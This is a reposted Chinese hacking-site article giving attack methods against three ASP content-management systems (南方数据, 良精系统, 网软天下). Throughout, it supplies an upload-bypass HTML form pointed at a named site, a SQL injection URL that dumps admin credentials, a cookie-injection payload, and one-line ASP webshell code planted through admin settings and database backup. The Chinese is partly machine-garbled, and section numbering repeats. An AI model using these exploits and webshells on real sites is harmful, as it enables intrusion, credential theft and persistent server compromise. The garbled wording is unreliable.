安全黑客
当前位置:安全黑客文章资讯安全漏洞最新漏洞
日期:2009-12-18 18:03:00  来源:本站整理

<b>南方数据、良精系统、网软天下漏洞操纵</b>[最新漏洞]

赞助商链接



  本文“<b>南方数据、良精系统、网软天下漏洞操纵</b>[最新漏洞]”是由安全黑客为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

1、通过upfile_other.asp漏洞文件直接取SHELL 

直接翻开userreg.asp举行注册会员,举行登录,(在未退出登录的状况下)利用本地上传文件举行上传代码以下: 

<HTML><HEAD>  
<META http-equiv=Content-Type content="text/html; charset=gb2312">  
<STYLE type=text/css>BODY {  
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee  
}  
.tx1 {  
BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px  
}  
</STYLE> 

<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD>  
<BODY leftMargin=0 topMargin=0>  
<FORM name=form1 action="http://www.huobaodidai.cn/upfile_Other.asp"; method=post  
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT xxxxx="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>  
<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML> 

将以上代码保存为html格局,替换代码中的网址,第一个框里挑选图片文件,第二个框挑选.cer、.asa或asp文件上传(背面需求加一个空格,貌似在IE8中举行利用不能背面加空格,加空格时就弹出挑选文件对话框,我是找不到办理办法). 

注:此办法通杀南方数据、良精系统、网软天下等 

2、通过注入秒杀管理员帐号密码,利用以下: 

http://www.huobaodidai.cn/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20’’=’ 

以上代码直接暴管理员帐号和密码,取SHELL办法以下: 

在网站配置[http://www.target.com/admin/SiteConfig.asp]的版权信息里写入 "%><%eval(request(chr(35)))%><%’ 

成功把shell写入http://www.target.com/inc/config.asp 

这里一句话chr(32)密码是“#” 

3、cookie注入 

清空地址栏,操纵union语句来注入,提交: 

javascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin")) 

假如你牛你就手工,反正我是不会,用刺猬大哥的“cookie注入转换工具”便利又疾速何乐而不为? 

注:貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入. 

(当然南方不只有上面三个漏洞,还有几个漏洞貌似不常用,反正我给我常用的总结出来但愿对大家有帮忙) 

3、后台取SHELL办法总结 

(1)在系统管理中的网站配置中插入一句话马:进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在别的处)后加入"%><%Eval(Request(chr(112)))%><%’,再点保存配置,如图: 

然后我们翻开inc/config.asp文件,看到一句话马已写入到配置文件中了, 

这时再翻开一句话马的客户端,提交一样得到一个小马 

(注:以下均在别的网站上测试所截的图,为避免信息泄露,未截留网站衔接,请谅解!) 

(2)后台上传漏洞,在Upfile_Photo.asp文件中部份代码片段以下: 

if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then 
                   EnableUpload=false 
              end if 
              if EnableUpload=false then 
                     msg="这种文件范例不答应上传!\n\n只答应上传这几种文件范例:" & UpFileType 
                     FoundErr=true 
              end if 

大家可以看到程序只限制了对"asp","asa","aspx"类的文件上传,我们只要在”网站配置”的答应的上传文件范例处增添上传“cer“等被服务器可解析的文件范例便可,如图: 


提交时却显示下载页面 ,上传别的如”htr,cdx”等后缀文件时,提交时服务器却不恳求(只能说运气不好吧) 

(3)后台备份,直接在”产品管理”下的增添产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库途径”栏填入上传的途径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动增添上.asa的 

点”肯定”后提醒”备份数据库成功….”不过实际文件是没有.asa的 

直接拜候备份后的地址,就得到一个webshell 


(以上虽用网软做的后台演示,但南方和良精后台取shell都是大同小异的)


  以上是“<b>南方数据、良精系统、网软天下漏洞操纵</b>[最新漏洞]”的内容,如果你对以上该文章内容感兴趣,你可以看看安全黑客为您推荐以下文章:
  • HP智能管理中心FaultDownloadServlet信息泄露漏洞
  • Palo Alto Networks的防火墙到一个新的水平
  • LTE带来了新的安全问题,电信运营商
  • iPhone的Multi-Touch技术的MacBook在10月?
  • McAfee的SmartFilter管理服务器SFAdminSrv.exe JBoss的RMI远程执行代码Vulnerabilty
  • Oracle表格识别CroScPlt.dll ActiveX控件远程代码执行Vulnerabilty
  • Oracle的WebCenter表格识别Sssplt30.ocx ActiveX控件远程代码执行Vulnerabilty的
  • RealNetworks公司的RealPlayer IVR MLTI块长度解析远程代码执行漏洞
  • HP Data Protector的笔记本电脑扩展策略服务器LogBackupLocationStatus远程SQL注入Vulnerabilty
  • HP Data Protector的笔记本扩展策略服务器LogClientInstallation远程SQL注入Vulnerabilty
  • HP Data Protector的笔记本扩展GetPolicies远程SQL注入Vulnerabilty
  • HP Data Protector的笔记本电脑扩展策略服务器RequestCopy远程SQL注入Vulnerabilty
  • 本文地址: 与您的QQ/BBS好友分享!

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    免责条款 - 广告合作 - 下载声明 - 欢迎投稿 - 友情连接 - 网站地图 -
    Copyright © 2012-2013 www.110hack.com. All Rights Reserved .